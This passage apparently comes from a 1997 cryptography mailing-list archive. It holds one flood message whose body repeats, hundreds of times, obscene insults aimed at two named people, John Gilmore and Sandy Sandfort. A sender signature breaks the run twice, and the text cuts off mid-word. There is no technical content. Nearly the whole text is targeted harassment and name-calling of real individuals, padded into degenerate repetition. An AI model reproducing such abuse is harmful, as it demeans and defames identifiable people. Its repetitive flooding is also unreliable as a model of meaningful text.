Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:30:49 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:30:49 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770914.521048.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch 